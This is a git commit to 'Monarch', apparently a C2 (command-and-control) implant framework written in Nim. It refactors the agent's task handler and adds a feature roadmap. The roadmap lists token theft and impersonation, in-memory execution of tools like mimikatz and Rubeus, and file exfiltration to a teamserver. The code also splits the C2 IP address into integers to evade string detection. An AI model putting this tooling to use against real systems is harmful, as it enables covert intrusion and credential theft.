Refactor redundant code for better extensibility with new commands.

This commit is contained in:
Jakob Friedl
2025-07-08 23:10:19 +02:00
parent 1f73cf142d
commit 71ff092975
10 changed files with 120 additions and 230 deletions

42
agents/commands.md Normal file
View File

@@ -0,0 +1,42 @@
# "Monarch" Agent commands:
House-keeping
-------------
- [x] sleep : Set sleep obfuscation duration to a different value and persist that value in the agent
Basic API-only Commands
-----------------------
- [x] pwd : Get current working directory
- [x] cd : Change directory
- [x] ls/dir : List all files in directory (including hidden ones)
- [x] rm : Remove a file
- [x] rmdir : Remove a empty directory
- [ ] cat/type : Display contents of a file
- [ ] env : Display environment variables
- [ ] ps : List processes
- [ ] whoami : Get UID and privileges, etc.
- [ ] token : Token impersonation
- [ ] make : Create a token from a user's plaintext password (LogonUserA, ImpersonateLoggedOnUser)
- [ ] steal : Steal the access token from a process (OpenProcess, OpenProcessToken, DuplicateToken, ImpersonateLoggedOnUser)
- [ ] use : Impersonate a token from the token vault (ImpersonateLoggedOnUser) -> update username like in Cobalt Strike
- [ ] rev2self : Revert to original logon session (RevertToSelf)
Execution Commands
------------------
- [~] shell : Execute shell command (to be implemented using Windows APIs instead of execCmdEx)
- [ ] bof : Execute Beacon Object File in memory and retrieve output (bof /local/path/file.o)
- Read from listener endpoint directly to memory
- Base for all kinds of BOFs (Situational Awareness, ...)
- [ ] pe : Execute PE file in memory and retrieve output (pe /local/path/mimikatz.exe)
- [ ] dotnet : Execute .NET assembly inline in memory and retrieve output (dotnet /local/path/Rubeus.exe )
Post-Exploitation
-----------------
- [ ] upload : Upload file from server to agent (upload /local/path/to/file C:\Windows\Tasks)
- File to be downloaded moved to specific endpoint on listener, e.g. GET /<listener>/<agent>/<upload-task>/file
- Read from webserver and written to disk
- [ ] download : Download file from agent to teamserver
- Create loot directory for agent to store files in
- Read file into memory and send byte stream to specific endpoint, e.g. POST /<listener>/<agent>/<download>-task/file
- Encrypt file in-transit!!!

View File

@@ -2,7 +2,6 @@ import strformat, os, times
import winim
import ./[types, http, task]
import commands/shell
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -32,6 +31,7 @@ proc main() =
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var config = AgentConfig(
listener: ListenerUuid,
ip: address,

View File

@@ -1,53 +1,32 @@
import strutils
import strutils, tables
import ./types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
let handlers = {
ExecuteShell: taskShell,
Sleep: taskSleep,
GetWorkingDirectory: taskPwd,
SetWorkingDirectory: taskCd,
ListDirectory: taskDir,
RemoveFile: taskRm,
RemoveDirectory: taskRmdir
}.toTable
# Handle task command
case task.command:
of ExecuteShell:
let taskResult = taskShell(task)
echo taskResult.data
return taskResult
taskResult = handlers[task.command](task)
echo taskResult.data
# Handle actions on specific commands
case task.command:
of Sleep:
# Execute task
let taskResult = taskSleep(task)
# Update sleep delay in agent config
if taskResult.status == Completed:
config.sleep = parseInt(task.args[0])
# Return result
return taskResult
of GetWorkingDirectory:
let taskResult = taskPwd(task)
echo taskResult.data
return taskResult
of SetWorkingDirectory:
let taskResult = taskCd(task)
echo taskResult.data
return taskResult
of ListDirectory:
let taskResult = taskDir(task)
echo taskResult.data
return taskResult
of RemoveFile:
let taskResult = taskRm(task)
echo taskResult.data
return taskResult
of RemoveDirectory:
let taskResult = taskRmdir(task)
echo taskResult.data
return taskResult
else:
echo "Not implemented"
return nil
discard
# Return the result
return taskResult

View File

@@ -1,4 +1,4 @@
import winim
import winim, tables
import ../../server/types
export Task, TaskCommand, TaskResult, TaskStatus
@@ -24,9 +24,9 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
wProductType*: UCHAR
wReserved*: UCHAR
type
AgentConfig* = ref object
listener*: string
ip*: string
port*: int
sleep*: int
type
AgentConfig* = ref object
listener*: string
ip*: string
port*: int
sleep*: int